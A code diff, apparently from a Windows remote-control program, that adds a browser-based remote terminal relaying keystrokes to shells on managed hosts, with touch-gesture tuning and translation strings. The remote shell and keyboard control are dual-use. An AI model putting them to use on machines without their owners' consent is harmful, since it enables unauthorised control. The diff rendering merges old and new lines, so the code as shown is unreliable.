const SCROLL_DEADZONE = 2; // Minimum scroll delta to send // 2) 间距绝对变化 > ZOOM_MIN_PX 且
// 3) 间距变化 > 中心垂直位移 → 判为缩放
// 三个条件同时满足才触发缩放,避免双指上下滚动时手指自然张合的 ~5% 抖动被误判。
// 真实缩放:双指主动张合,间距变化幅度本身就远大于这些阈值。
const ZOOM_THRESHOLD = 0.15; // 间距比例变化阈值15%
const ZOOM_MIN_PX = 30; // 间距绝对变化阈值px
// 注:服务端 (WebService.cpp HandleMouse) 把 wheelDelta 钳成 ±120 一格 notch
// SCROLL_SENSITIVITY 实际不起作用;真正决定滚动速度的是 SCROLL_DEADZONE。
// 触摸 touchmove 在 60fps 下高频触发,旧值 2px 等于手指动一下就连发一堆 notch体感非常飘。
// 现在 28px ≈ 让手指移动 ~1 个文本行距离才发一格,接近 iOS 原生触摸滚动节奏。
const SCROLL_SENSITIVITY = 1; // (server clamps to ±120, kept for clarity only)
const SCROLL_DEADZONE = 28; // Minimum finger-Y delta (px) to send one wheel notch
// Pinch-to-zoom state // Pinch-to-zoom state
let zoomState = { let zoomState = {
@@ -2139,7 +2615,9 @@ inline std::string GetWebPageHTML() {
// Two-finger gesture detection // Two-finger gesture detection
hasZoomed: false, // Whether zoom occurred in current gesture hasZoomed: false, // Whether zoom occurred in current gesture
lastScrollY: 0, // For scroll delta calculation lastScrollY: 0, // For scroll delta calculation
initialPinchDist: 0 // Distance at gesture start (for cumulative detection) initialPinchDist: 0, // Distance at gesture start (for cumulative detection)
initialCenterX: 0, // Pinch center at gesture start (for scroll-vs-zoom intent)
initialCenterY: 0
}; };
const zoomIndicator = document.getElementById('zoom-indicator'); const zoomIndicator = document.getElementById('zoom-indicator');
let zoomIndicatorTimer = null; let zoomIndicatorTimer = null;
@@ -2345,6 +2823,8 @@ inline std::string GetWebPageHTML() {
const center = getPinchCenter(e.touches); const center = getPinchCenter(e.touches);
zoomState.pinchCenterX = center.x; zoomState.pinchCenterX = center.x;
zoomState.pinchCenterY = center.y; zoomState.pinchCenterY = center.y;
zoomState.initialCenterX = center.x;
zoomState.initialCenterY = center.y;
zoomState.lastScrollY = center.y; zoomState.lastScrollY = center.y;
if (zoomState.scale === 1) { if (zoomState.scale === 1) {
@@ -2448,16 +2928,28 @@ inline std::string GetWebPageHTML() {
const totalDelta = newDist / zoomState.initialPinchDist; // Cumulative change from gesture start const totalDelta = newDist / zoomState.initialPinchDist; // Cumulative change from gesture start
// Detect gesture type: zoom vs scroll // Detect gesture type: zoom vs scroll
// Use CUMULATIVE change to detect zoom intent (catches slow pinch gestures) // 缩放意图 = 间距比例显著变 + 间距绝对显著变 + 间距变化 > 中心垂直位移
// Also treat as zoom if already at scale boundary and trying to zoom further // 单纯比例阈值 5% 太敏感:双指上下滚动时手指自然张合 ~5% 就被误判为缩放。
// 结合绝对像素阈值 + "间距变化 vs 中心位移" 的方向性,能稳定区分两种意图。
const distAbsChange = Math.abs(newDist - zoomState.initialPinchDist);
const distRatioChange = Math.abs(totalDelta - 1);
const centerMoveY = Math.abs(newCenter.y - zoomState.initialCenterY);
const isClearZoom = distRatioChange > ZOOM_THRESHOLD &&
distAbsChange > ZOOM_MIN_PX &&
distAbsChange > centerMoveY;
// 已到缩放边界仍朝同方向尝试 → 给视觉反馈,但要求绝对像素变化 > 半阈值,
// 避免静止时手指轻微抖动也被认为"想缩放"。
const atMinScale = zoomState.scale <= zoomState.minScale; const atMinScale = zoomState.scale <= zoomState.minScale;
const atMaxScale = zoomState.scale >= zoomState.maxScale; const atMaxScale = zoomState.scale >= zoomState.maxScale;
const tryingToShrink = totalDelta < 1; // Use cumulative for direction const tryingToShrink = totalDelta < 1;
const tryingToEnlarge = totalDelta > 1; const tryingToEnlarge = totalDelta > 1;
const boundaryFeedback = distAbsChange > ZOOM_MIN_PX / 2 && (
(atMinScale && tryingToShrink) || (atMaxScale && tryingToEnlarge)
);
if (Math.abs(totalDelta - 1) > ZOOM_THRESHOLD || if (isClearZoom || boundaryFeedback) {
(atMinScale && tryingToShrink) ||
(atMaxScale && tryingToEnlarge)) {
zoomState.hasZoomed = true; zoomState.hasZoomed = true;
} }
@@ -2792,35 +3284,37 @@ inline std::string GetWebPageHTML() {
sendKey(e.keyCode, false, e.altKey); sendKey(e.keyCode, false, e.altKey);
}); });
// 字符 → Win32 VK 映射表(提到 listener 外避免每次输入重建)。
// US 键盘上"不需要 Shift"的 OEM 符号 ASCII 码 ≠ VK 码,必须显式映射。
const SHIFT_SYMBOLS = '~!@#$%^&*()_+{}|:"<>?';
const SYMBOL_VK_MAP = {
// —— Unshifted OEM symbols (US layout) ——
'`': 192, '-': 189, '=': 187, '[': 219, ']': 221, '\\': 220,
';': 186, "'": 222, ',': 188, '.': 190, '/': 191,
// —— Shifted symbols (与 above 共享 VK多了 Shift 修饰) ——
'~': 192, '!': 49, '@': 50, '#': 51, '$': 52, '%': 53,
'^': 54, '&': 55, '*': 56, '(': 57, ')': 48, '_': 189,
'+': 187, '{': 219, '}': 221, '|': 220, ':': 186,
'"': 222, '<': 188, '>': 190, '?': 191
};
// 把单个字符发成一对 keyDown/keyUp必要时夹一对 Shift
function sendCharAsKey(ch) {
const isUpperCase = ch >= 'A' && ch <= 'Z';
const needsShift = isUpperCase || SHIFT_SYMBOLS.includes(ch);
const keyCode = SYMBOL_VK_MAP[ch] || ch.toUpperCase().charCodeAt(0);
if (needsShift) sendKey(16, true); // VK_SHIFT = 16
sendKey(keyCode, true);
sendKey(keyCode, false);
if (needsShift) sendKey(16, false);
}
mobileKeyboard.addEventListener('input', function(e) { mobileKeyboard.addEventListener('input', function(e) {
const char = e.data; // e.data 可能携带多个字符(中/日/韩 IME 候选词上屏、Gboard 滑行输入、
if (char) { // 剪贴板粘贴一段文本都会一次性 commit。逐字符发送保证每个都到达 host。
// Check if character needs Shift key const text = e.data;
const isUpperCase = char >= 'A' && char <= 'Z'; if (text) {
const shiftSymbols = '~!@#$%^&*()_+{}|:"<>?'; for (const ch of text) sendCharAsKey(ch);
const needsShift = isUpperCase || shiftSymbols.includes(char);
// Map symbols to their base keys
const symbolMap = {
'~': 192, '!': 49, '@': 50, '#': 51, '$': 52, '%': 53,
'^': 54, '&': 55, '*': 56, '(': 57, ')': 48, '_': 189,
'+': 187, '{': 219, '}': 221, '|': 220, ':': 186,
'"': 222, '<': 188, '>': 190, '?': 191
};
let keyCode;
if (symbolMap[char]) {
keyCode = symbolMap[char];
} else {
keyCode = char.toUpperCase().charCodeAt(0);
}
// Send Shift down if needed
if (needsShift) sendKey(16, true); // VK_SHIFT = 16
sendKey(keyCode, true);
sendKey(keyCode, false);
// Send Shift up if needed
if (needsShift) sendKey(16, false);
} }
mobileKeyboard.value = ''; mobileKeyboard.value = '';
}); });
@@ -2920,16 +3414,18 @@ inline std::string GetWebPageHTML() {
if (document.hidden) { if (document.hidden) {
// Page going to background // Page going to background
const screenPage = document.getElementById('screen-page'); const screenPage = document.getElementById('screen-page');
const termPage = document.getElementById('term-page');
const onScreenPage = screenPage && screenPage.classList.contains('active') && currentDevice; const onScreenPage = screenPage && screenPage.classList.contains('active') && currentDevice;
const onTermPage = termPage && termPage.classList.contains('active') && termState.deviceId;
if (onScreenPage) { if (onScreenPage || onTermPage) {
// Mobile/tablet: delay disconnect 30s // 屏幕预览 / 终端:移动端给 30 秒宽限,期间切回应用就无缝继续;
// Desktop: keep connection alive (no timer) // 桌面:保持长连,靠 ping 心跳
if (isTouchDevice) { if (isTouchDevice) {
backgroundDisconnectTimer = setTimeout(doBackgroundDisconnect, BACKGROUND_TIMEOUT_MOBILE); backgroundDisconnectTimer = setTimeout(doBackgroundDisconnect, BACKGROUND_TIMEOUT_MOBILE);
} }
} else { } else {
// Other pages - disconnect immediately // 其它页面 - 立即断开省流量
doBackgroundDisconnect(); doBackgroundDisconnect();
} }
} else { } else {

View File

@@ -1,5 +1,6 @@
#include "stdafx.h" #include "stdafx.h"
#include "2015Remote.h" #include "2015Remote.h"
#include "resource.h" // IDR_WEB_XTERM_* (xterm.js/css 静态资源 ID)
#include "WebService.h" #include "WebService.h"
#include "WebServiceAuth.h" #include "WebServiceAuth.h"
#include "2015RemoteDlg.h" #include "2015RemoteDlg.h"
@@ -18,6 +19,21 @@
#pragma comment(lib, "ws2_32.lib") #pragma comment(lib, "ws2_32.lib")
// Load a Win32 BINARY resource by ID as std::string (raw bytes).
// Returns empty string on failure. The std::string is OK to hold binary data
// (we only treat it as bytes; size is from .length()).
static std::string LoadBinaryResourceAsString(int resourceId) {
HRSRC hRes = FindResourceA(NULL, MAKEINTRESOURCEA(resourceId), "BINARY");
if (!hRes) return {};
DWORD size = SizeofResource(NULL, hRes);
if (!size) return {};
HGLOBAL hData = LoadResource(NULL, hRes);
if (!hData) return {};
LPVOID p = LockResource(hData);
if (!p) return {};
return std::string(static_cast<const char*>(p), size);
}
// Challenge-response nonce storage (prevents replay attacks) // Challenge-response nonce storage (prevents replay attacks)
static std::map<void*, std::string> s_ClientNonces; static std::map<void*, std::string> s_ClientNonces;
static std::mutex s_NonceMutex; static std::mutex s_NonceMutex;
@@ -241,9 +257,30 @@ void CWebService::ServerThread(int port) {
static std::string cachedHtml = GetWebPageHTML(); static std::string cachedHtml = GetWebPageHTML();
std::string payloadsDir = m_PayloadsDir; // Capture for lambda std::string payloadsDir = m_PayloadsDir; // Capture for lambda
wsServer.onHttp([payloadsDir](const std::string& path) -> ws::HttpResponse { // 静态资源缓存xterm.js / xterm.css / fit-addon。RC binary 资源加载一次缓存到内存,
// 避免每个浏览器请求都去 LockResource。Cache-Control 给浏览器侧缓存友好。
static std::string cachedXtermJs = LoadBinaryResourceAsString(IDR_WEB_XTERM_JS);
static std::string cachedXtermCss = LoadBinaryResourceAsString(IDR_WEB_XTERM_CSS);
static std::string cachedXtermFitJs = LoadBinaryResourceAsString(IDR_WEB_XTERM_FIT_JS);
auto buildStatic = [](const std::string& body, const std::string& mime) {
ws::HttpResponse r = ws::HttpResponse::OK(body, mime);
r.headers["Cache-Control"] = "public, max-age=86400"; // 1 day
return r;
};
wsServer.onHttp([payloadsDir, buildStatic](const std::string& path) -> ws::HttpResponse {
if (path == "/" || path == "/index.html") { if (path == "/" || path == "/index.html") {
return ws::HttpResponse::OK(cachedHtml); return ws::HttpResponse::OK(cachedHtml);
} else if (path == "/static/xterm.js") {
if (cachedXtermJs.empty()) return ws::HttpResponse::NotFound();
return buildStatic(cachedXtermJs, "application/javascript; charset=utf-8");
} else if (path == "/static/xterm.css") {
if (cachedXtermCss.empty()) return ws::HttpResponse::NotFound();
return buildStatic(cachedXtermCss, "text/css; charset=utf-8");
} else if (path == "/static/xterm-fit.js") {
if (cachedXtermFitJs.empty()) return ws::HttpResponse::NotFound();
return buildStatic(cachedXtermFitJs, "application/javascript; charset=utf-8");
} else if (path == "/health") { } else if (path == "/health") {
return ws::HttpResponse::OK("{\"status\":\"ok\"}", "application/json"); return ws::HttpResponse::OK("{\"status\":\"ok\"}", "application/json");
} else if (path == "/manifest.json") { } else if (path == "/manifest.json") {
@@ -366,6 +403,14 @@ void CWebService::ServerThread(int port) {
HandleListUsers(ws_ptr, token); HandleListUsers(ws_ptr, token);
} else if (cmd == "get_groups") { } else if (cmd == "get_groups") {
HandleGetGroups(ws_ptr, token); HandleGetGroups(ws_ptr, token);
} else if (cmd == "term_open") {
HandleTermOpen(ws_ptr, msg);
} else if (cmd == "term_input") {
HandleTermInput(ws_ptr, msg);
} else if (cmd == "term_resize") {
HandleTermResize(ws_ptr, msg);
} else if (cmd == "term_close") {
HandleTermClose(ws_ptr, msg);
} }
} }
}); });
@@ -1163,6 +1208,16 @@ void CWebService::UnregisterClient(void* ws_ptr) {
if (device_id > 0) { if (device_id > 0) {
StopRemoteDesktop(device_id); StopRemoteDesktop(device_id);
} }
// 关闭这个 web client 持有的所有终端会话MVP 一个用户一台主机一个,但兜底全扫描)
{
std::lock_guard<std::mutex> lk(m_TermMutex);
std::vector<uint64_t> to_close;
for (auto& kv : m_TermSessions) {
if (kv.second.ws_ptr == ws_ptr) to_close.push_back(kv.first);
}
for (uint64_t did : to_close) CloseTermSessionLocked(did);
}
} }
WebClient* CWebService::FindClient(void* ws_ptr) { WebClient* CWebService::FindClient(void* ws_ptr) {
@@ -1716,6 +1771,255 @@ void CWebService::StopRemoteDesktop(uint64_t device_id) {
} }
} }
//////////////////////////////////////////////////////////////////////////
// Web Terminal Session
//
// 数据流向:
// 浏览器 ── term_open ──► HandleTermOpen ── COMMAND_SHELL ──► 客户端
// 客户端 ── shell 子上下文 ──► MessageHandle TOKEN_TERMINAL_START
// ── RegisterTerminalContext ──► WebService
// 客户端 shell 输出 ── TOKEN_TERMINAL_DATA ──► MessageHandle ──► OnTerminalData
// ──► term_output 给浏览器
// 浏览器 keystrokes ── term_input ──► HandleTermInput ──► shell_ctx->Send2Client
//
// 一台主机最多一个 web 终端会话MVP
//////////////////////////////////////////////////////////////////////////
static std::string BuildTermJson(const std::string& cmd, std::initializer_list<std::pair<const char*, std::string>> kv) {
Json::Value v;
v["cmd"] = cmd;
for (auto& p : kv) v[p.first] = p.second;
Json::StreamWriterBuilder b; b["indentation"] = "";
return Json::writeString(b, v);
}
void CWebService::HandleTermOpen(void* ws_ptr, const std::string& msg) {
Json::Value root; Json::Reader rdr;
if (!rdr.parse(msg, root)) return;
std::string token = root.get("token", "").asString();
std::string username, role;
if (!ValidateToken(token, username, role)) {
SendText(ws_ptr, BuildJsonResponse("term_closed", false, "Invalid token"));
return;
}
std::string id_str = root.get("id", "").asString();
uint64_t device_id = id_str.empty() ? 0 : strtoull(id_str.c_str(), nullptr, 10);
if (!device_id || !m_pParentDlg) {
SendText(ws_ptr, BuildJsonResponse("term_closed", false, "Bad request"));
return;
}
context* ctx = m_pParentDlg->FindHost(device_id);
if (!ctx) {
SendText(ws_ptr, BuildJsonResponse("term_closed", false, "Device offline"));
return;
}
// Group permission check (admin 全部可见)
if (username != "admin") {
std::string g = ctx->GetGroupName(); if (g.empty()) g = "default";
bool ok = false;
{
std::lock_guard<std::mutex> lk(m_UsersMutex);
for (auto& u : m_Users) if (u.username == username) {
for (auto& ag : u.allowed_groups) if (ag == g) { ok = true; break; }
break;
}
}
if (!ok) {
SendText(ws_ptr, BuildJsonResponse("term_closed", false, "Permission denied"));
return;
}
}
// 占用MVP 阶段单设备单 web 终端
{
std::lock_guard<std::mutex> lk(m_TermMutex);
if (m_TermSessions.find(device_id) != m_TermSessions.end() ||
m_TermPending.find(device_id) != m_TermPending.end()) {
SendText(ws_ptr, BuildJsonResponse("term_closed", false,
"Terminal already open by another viewer"));
return;
}
WebTermSession s; s.ws_ptr = ws_ptr; s.device_id = device_id;
s.shell_ctx = nullptr; s.is_pty = false;
m_TermSessions[device_id] = s;
m_TermPending.insert(device_id);
}
// 触发客户端:发 COMMAND_SHELL
BYTE cmd = COMMAND_SHELL;
if (!ctx->Send2Client(&cmd, 1)) {
std::lock_guard<std::mutex> lk(m_TermMutex);
m_TermSessions.erase(device_id);
m_TermPending.erase(device_id);
SendText(ws_ptr, BuildJsonResponse("term_closed", false, "Send failed"));
return;
}
Mprintf("[WebService] term_open device=%llu user=%s\n", device_id, username.c_str());
}
void CWebService::HandleTermInput(void* ws_ptr, const std::string& msg) {
Json::Value root; Json::Reader rdr;
if (!rdr.parse(msg, root)) return;
std::string token = root.get("token", "").asString();
std::string username, role;
if (!ValidateToken(token, username, role)) return;
std::string id_str = root.get("id", "").asString();
uint64_t device_id = id_str.empty() ? 0 : strtoull(id_str.c_str(), nullptr, 10);
std::string data = root.get("data", "").asString();
if (!device_id || data.empty()) return;
CONTEXT_OBJECT* shellCtx = nullptr;
{
std::lock_guard<std::mutex> lk(m_TermMutex);
auto it = m_TermSessions.find(device_id);
if (it == m_TermSessions.end() || it->second.ws_ptr != ws_ptr) return;
shellCtx = it->second.shell_ctx;
}
if (!shellCtx) return; // shell 子上下文还没就绪
shellCtx->Send2Client((BYTE*)data.data(), (ULONG)data.size());
}
void CWebService::HandleTermResize(void* ws_ptr, const std::string& msg) {
Json::Value root; Json::Reader rdr;
if (!rdr.parse(msg, root)) return;
std::string token = root.get("token", "").asString();
std::string username, role;
if (!ValidateToken(token, username, role)) return;
std::string id_str = root.get("id", "").asString();
uint64_t device_id = id_str.empty() ? 0 : strtoull(id_str.c_str(), nullptr, 10);
int cols = root.get("cols", 0).asInt();
int rows = root.get("rows", 0).asInt();
if (!device_id || cols <= 0 || rows <= 0) return;
CONTEXT_OBJECT* shellCtx = nullptr;
bool isPty = false;
{
std::lock_guard<std::mutex> lk(m_TermMutex);
auto it = m_TermSessions.find(device_id);
if (it == m_TermSessions.end() || it->second.ws_ptr != ws_ptr) return;
shellCtx = it->second.shell_ctx;
isPty = it->second.is_pty;
}
if (!shellCtx || !isPty) return; // 老 cmd 模式不支持 resize
BYTE buf[5];
buf[0] = CMD_TERMINAL_RESIZE;
*(short*)(buf + 1) = (short)cols;
*(short*)(buf + 3) = (short)rows;
shellCtx->Send2Client(buf, 5);
}
void CWebService::HandleTermClose(void* ws_ptr, const std::string& msg) {
Json::Value root; Json::Reader rdr;
if (!rdr.parse(msg, root)) return;
std::string id_str = root.get("id", "").asString();
uint64_t device_id = id_str.empty() ? 0 : strtoull(id_str.c_str(), nullptr, 10);
if (!device_id) return;
std::lock_guard<std::mutex> lk(m_TermMutex);
auto it = m_TermSessions.find(device_id);
if (it == m_TermSessions.end() || it->second.ws_ptr != ws_ptr) return;
CloseTermSessionLocked(device_id);
}
void CWebService::CloseTermSessionLocked(uint64_t device_id) {
auto it = m_TermSessions.find(device_id);
if (it == m_TermSessions.end()) return;
CONTEXT_OBJECT* shellCtx = it->second.shell_ctx;
void* ws_ptr = it->second.ws_ptr;
m_TermSessions.erase(it);
m_TermPending.erase(device_id);
if (shellCtx) {
m_TermContextToDevice.erase(shellCtx);
// 触发客户端 shell 退出:直接断该子上下文
// (老 ShellDlg 是直接 Send TOKEN_BYE 之类,但断开更可靠)
shellCtx->CancelIO();
}
// 通知前端
SendText(ws_ptr, BuildJsonResponse("term_closed", true, "closed"));
Mprintf("[WebService] term_closed device=%llu\n", device_id);
}
bool CWebService::IsTermPending(uint64_t device_id) {
std::lock_guard<std::mutex> lk(m_TermMutex);
return m_TermPending.find(device_id) != m_TermPending.end();
}
void CWebService::RegisterTerminalContext(uint64_t device_id, CONTEXT_OBJECT* ctx, bool isPty) {
void* ws_ptr_to_notify = nullptr;
{
std::lock_guard<std::mutex> lk(m_TermMutex);
auto it = m_TermSessions.find(device_id);
if (it == m_TermSessions.end()) return; // 没有等的 web session 了
it->second.shell_ctx = ctx;
it->second.is_pty = isPty;
m_TermContextToDevice[ctx] = device_id;
m_TermPending.erase(device_id);
ws_ptr_to_notify = it->second.ws_ptr;
}
// 关键步骤:告知客户端"启动 shell 输出回流"。
// PTY 模式:客户端 PTYHandler 已 fork 了 shell 子进程,但读线程要靠 COMMAND_NEXT 才启动
// (参考 TerminalDlg::OnTerminalReady。漏发会导致 shell 在跑但输出永远不送回。
// PTY 还要先告知初始 cols/rows默认 80x24否则 shell 会按 PTY 默认尺寸渲染,
// vim 等 TUI 在浏览器侧的 fit 调整前会乱。后续浏览器 term_resize 会再调整。
if (isPty) {
BYTE resizeBuf[5];
resizeBuf[0] = CMD_TERMINAL_RESIZE;
*(short*)(resizeBuf + 1) = (short)80;
*(short*)(resizeBuf + 3) = (short)24;
ctx->Send2Client(resizeBuf, 5);
}
BYTE startCmd = COMMAND_NEXT;
ctx->Send2Client(&startCmd, 1);
// 通知前端 ready告知模式pty / legacy
if (ws_ptr_to_notify) {
SendText(ws_ptr_to_notify, BuildTermJson("term_ready", {{"mode", isPty ? "pty" : "legacy"}}));
}
Mprintf("[WebService] term_ready device=%llu mode=%s\n",
device_id, isPty ? "pty" : "legacy");
}
bool CWebService::IsTerminalContext(CONTEXT_OBJECT* ctx) {
std::lock_guard<std::mutex> lk(m_TermMutex);
return m_TermContextToDevice.find(ctx) != m_TermContextToDevice.end();
}
void CWebService::OnTerminalData(CONTEXT_OBJECT* ctx, const BYTE* data, ULONG len) {
void* ws_ptr = nullptr;
{
std::lock_guard<std::mutex> lk(m_TermMutex);
auto it = m_TermContextToDevice.find(ctx);
if (it == m_TermContextToDevice.end()) return;
auto sit = m_TermSessions.find(it->second);
if (sit == m_TermSessions.end()) return;
ws_ptr = sit->second.ws_ptr;
}
if (!ws_ptr || !data || !len) return;
// 用 binary frame 透传字节流(避免 JSON 二进制不可见字符 / 编码膨胀)。
// 帧格式:[4B magic 'TRM1'][N=payload]
// 4 字节 magic = 0x54 0x52 0x4D 0x31 —— 视频帧首 4 字节是 deviceIDuint32 LE
// 撞这个具体值 (0x314D5254) 的概率极低,浏览器侧据此安全分流。
std::vector<uint8_t> packet;
packet.reserve(len + 4);
packet.push_back('T'); packet.push_back('R'); packet.push_back('M'); packet.push_back('1');
packet.insert(packet.end(), data, data + len);
SendBinary(ws_ptr, packet.data(), packet.size());
}
void CWebService::OnTerminalClosed(CONTEXT_OBJECT* ctx) {
std::lock_guard<std::mutex> lk(m_TermMutex);
auto it = m_TermContextToDevice.find(ctx);
if (it == m_TermContextToDevice.end()) return;
uint64_t device_id = it->second;
CloseTermSessionLocked(device_id);
}
////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////
// Screen Context Registry (for mouse/keyboard control) // Screen Context Registry (for mouse/keyboard control)
////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////

View File

@@ -247,6 +247,27 @@ public:
void UnregisterScreenContext(uint64_t device_id); void UnregisterScreenContext(uint64_t device_id);
CONTEXT_OBJECT* GetScreenContext(uint64_t device_id); CONTEXT_OBJECT* GetScreenContext(uint64_t device_id);
// ========== Web Terminal (Phase 1: 1 user per device) ==========
// Web 终端会话桥:把浏览器端 xterm.js ↔ 客户端 shell 子上下文连起来。
// 设计:每台主机最多一个 Web 终端会话;如果别的浏览器请求同一台主机的终端,
// 拒绝UX 上后续可改成共享只读)。
// 生命周期term_open → COMMAND_SHELL → 客户端建子上下文 → MessageHandle
// 看到 TOKEN_TERMINAL_START / TOKEN_SHELL_START + IsTermPending(d) →
// 调 RegisterTerminalContext 接管,跳过 MFC dialog 打开。
// 浏览器侧入口
void HandleTermOpen(void* ws_ptr, const std::string& msg);
void HandleTermInput(void* ws_ptr, const std::string& msg);
void HandleTermResize(void* ws_ptr, const std::string& msg);
void HandleTermClose(void* ws_ptr, const std::string& msg);
// MessageHandle 向 WebService 询问 / 移交的钩子
bool IsTermPending(uint64_t device_id); // 决定是否要拦截 dialog 打开
void RegisterTerminalContext(uint64_t device_id, CONTEXT_OBJECT* ctx, bool isPty);
bool IsTerminalContext(CONTEXT_OBJECT* ctx); // 是否是 Web 终端持有的上下文
void OnTerminalData(CONTEXT_OBJECT* ctx, const BYTE* data, ULONG len);// 把 shell 输出泵到对应 web client
void OnTerminalClosed(CONTEXT_OBJECT* ctx); // shell 子上下文断开时清理
private: private:
// Screen context registry: device_id -> ScreenManager's CONTEXT_OBJECT // Screen context registry: device_id -> ScreenManager's CONTEXT_OBJECT
std::map<uint64_t, CONTEXT_OBJECT*> m_ScreenContexts; std::map<uint64_t, CONTEXT_OBJECT*> m_ScreenContexts;
@@ -255,6 +276,21 @@ private:
// MFC triggered devices: dialogs created by MFC should always be visible // MFC triggered devices: dialogs created by MFC should always be visible
std::set<uint64_t> m_MfcTriggeredDevices; std::set<uint64_t> m_MfcTriggeredDevices;
std::mutex m_MfcTriggeredMutex; std::mutex m_MfcTriggeredMutex;
// Web 终端会话状态
struct WebTermSession {
void* ws_ptr; // browser WebSocket
uint64_t device_id;
CONTEXT_OBJECT* shell_ctx; // shell 子上下文(首条消息抵达后才填)
bool is_pty; // true=TOKEN_TERMINAL现代 PTY, false=TOKEN_SHELL老 cmd 管道)
};
std::map<uint64_t, WebTermSession> m_TermSessions; // by device_id
std::map<CONTEXT_OBJECT*, uint64_t> m_TermContextToDevice; // 反查 ctx → device_id
std::set<uint64_t> m_TermPending; // 已发 COMMAND_SHELL 待响应
std::mutex m_TermMutex;
// 内部清理(已持锁版本)
void CloseTermSessionLocked(uint64_t device_id);
}; };
// Global accessor // Global accessor

View File

@@ -105,6 +105,7 @@ RTT=RTT
解密数据=Decrypt Data 解密数据=Decrypt Data
画板=Drawing 画板=Drawing
屏幕墙=Screen Wall 屏幕墙=Screen Wall
替换=Replace
替换图标=Replace Icon 替换图标=Replace Icon
发送文件=Send File 发送文件=Send File
历史主机=Host History 历史主机=Host History
@@ -1783,8 +1784,11 @@ IOCP
标准FRPC[不可用]=Standard FRPC [Unavailable] 标准FRPC[不可用]=Standard FRPC [Unavailable]
不自动执行=No Auto Execute 不自动执行=No Auto Execute
启动执行=Execute on Startup 启动执行=Execute on Startup
每日定时[未实现]=Daily Schedule [Not Implemented] 每日定时=Daily Schedule
每周定时[未实现]=Weekly Schedule [Not Implemented] 每周定时=Weekly Schedule
每月定时=Monthly Schedule
每年定时=Yearly Schedule
关闭执行=Turn OFF
名称=Name 名称=Name
大小=Size 大小=Size
运行类型=Run Type 运行类型=Run Type
@@ -1831,3 +1835,22 @@ IOCP
提示: macOS 端 binary 已被修改导致签名失效,直接运行会被系统强杀。=Note: The macOS binary has been modified, invalidating its code signature. Running it directly will be killed by the system. 提示: macOS 端 binary 已被修改导致签名失效,直接运行会被系统强杀。=Note: The macOS binary has been modified, invalidating its code signature. Running it directly will be killed by the system.
推荐: 拷贝到 macOS 后运行 install.sh 安装 (脚本会自动重签)。=Recommended: Copy to macOS and run install.sh (the script re-signs automatically). 推荐: 拷贝到 macOS 后运行 install.sh 安装 (脚本会自动重签)。=Recommended: Copy to macOS and run install.sh (the script re-signs automatically).
或手动重签:=Or re-sign manually: 或手动重签:=Or re-sign manually:
<请输入文本用于替换远程剪切板>=<Please input text to replace remote clipboard>
; Screen Preview Loop - English Translation
; Format: Simplified Chinese=English
主机:=Host:
分辨率:=Resolution:
有 %d 个主机不支持屏幕预览,已跳过=%d host(s) do not support screen preview, skipped
播放快照=Play Snapshot
快照=Snapshot
预览=Preview
主机列表预览图=Host List Thumbnails
入站告警=Inbound Alert
反代理告警=Anti-Proxy Alert
试用版 LAN-only 限制=Trial Version - LAN Only Restriction
入站公网 IP=%s Proxy Protocol 真实 IP 或 raw TCP 对端)=Inbound public IP=%s (resolved via Proxy Protocol v2 real IP or raw TCP peer)
检测到入站连接来自公网 IP%s\r\n\r\n试用版仅供 LAN 内自用,跨网使用属于违反授权条款。\r\n如需跨网远控请向发行方申请正式授权。\r\n\r\n详细记录见消息列表与运行日志。=Inbound connection from public IP: %s\r\n\r\nTrial version is restricted to LAN-only usage; cross-network use violates the license terms.\r\nFor cross-network remote control, please obtain a commercial license from the publisher.\r\n\r\nSee the message list and runtime log for full details.
检测到可疑连接:内核 RTT 中位数 %d ms超出阈值 %d ms。\r\n\r\n持续偏高的 RTT 提示该连接可能经由代理 / VPN / 隧道中转。\r\n试用版仅供 LAN 内自用,跨网使用属于违反授权条款。\r\n\r\n如需跨网远控请向发行方申请正式授权。\r\n详细记录见消息列表与运行日志。=Suspicious connection detected: kernel-measured RTT median %d ms exceeds the threshold of %d ms.\r\n\r\nA persistently elevated RTT suggests the connection is being relayed through a proxy / VPN / tunnel.\r\nTrial version is restricted to LAN-only usage; cross-network use violates the license terms.\r\n\r\nFor cross-network remote control, please obtain a commercial license from the publisher.\r\nSee the message list and runtime log for full details.

View File

@@ -105,6 +105,7 @@ RTT=RTT
解密数据=解密資料 解密数据=解密資料
画板=繪圖板 画板=繪圖板
屏幕墙=螢幕牆 屏幕墙=螢幕牆
替换=替換
替换图标=替換圖示 替换图标=替換圖示
发送文件=傳送檔案 发送文件=傳送檔案
历史主机=歷史主機 历史主机=歷史主機
@@ -1775,8 +1776,11 @@ IOCP
标准FRPC[不可用]=標準FRPC[不可用] 标准FRPC[不可用]=標準FRPC[不可用]
不自动执行=不自動執行 不自动执行=不自動執行
启动执行=啟動執行 启动执行=啟動執行
每日定时[未实现]=每日定時[未實現] 每日定时=每日定時
每周定时[未实现]=每週定時[未實現] 每周定时=每週定時
每月定时=每月定时
每年定时=每年定时
关闭执行=关闭执行
名称=名稱 名称=名稱
大小=大小 大小=大小
运行类型=執行類型 运行类型=執行類型
@@ -1822,3 +1826,22 @@ IOCP
提示: macOS 端 binary 已被修改导致签名失效,直接运行会被系统强杀。=提示: macOS 端 binary 已被修改導致簽章失效,直接執行會被系統強制終止。 提示: macOS 端 binary 已被修改导致签名失效,直接运行会被系统强杀。=提示: macOS 端 binary 已被修改導致簽章失效,直接執行會被系統強制終止。
推荐: 拷贝到 macOS 后运行 install.sh 安装 (脚本会自动重签)。=推薦: 複製到 macOS 後執行 install.sh 安裝 (腳本會自動重新簽章)。 推荐: 拷贝到 macOS 后运行 install.sh 安装 (脚本会自动重签)。=推薦: 複製到 macOS 後執行 install.sh 安裝 (腳本會自動重新簽章)。
或手动重签:=或手動重新簽章: 或手动重签:=或手動重新簽章:
<请输入文本用于替换远程剪切板>=<请输入文本用于替换远程剪切板>
; Screen Preview Loop - Traditional Chinese Translation
; Format: Simplified Chinese=Traditional Chinese
主机:=主機:
分辨率:=解析度:
有 %d 个主机不支持屏幕预览,已跳过=有 %d 個主機不支援螢幕預覽,已跳過
播放快照=播放快照
快照=快照
预览=預覽
主机列表预览图=主機列表預覽圖
入站告警=入站告警
反代理告警=反代理告警
试用版 LAN-only 限制=試用版 LAN-only 限制
入站公网 IP=%s Proxy Protocol 真实 IP 或 raw TCP 对端)=入站公網 IP=%s Proxy Protocol 真實 IP 或 raw TCP 對端)
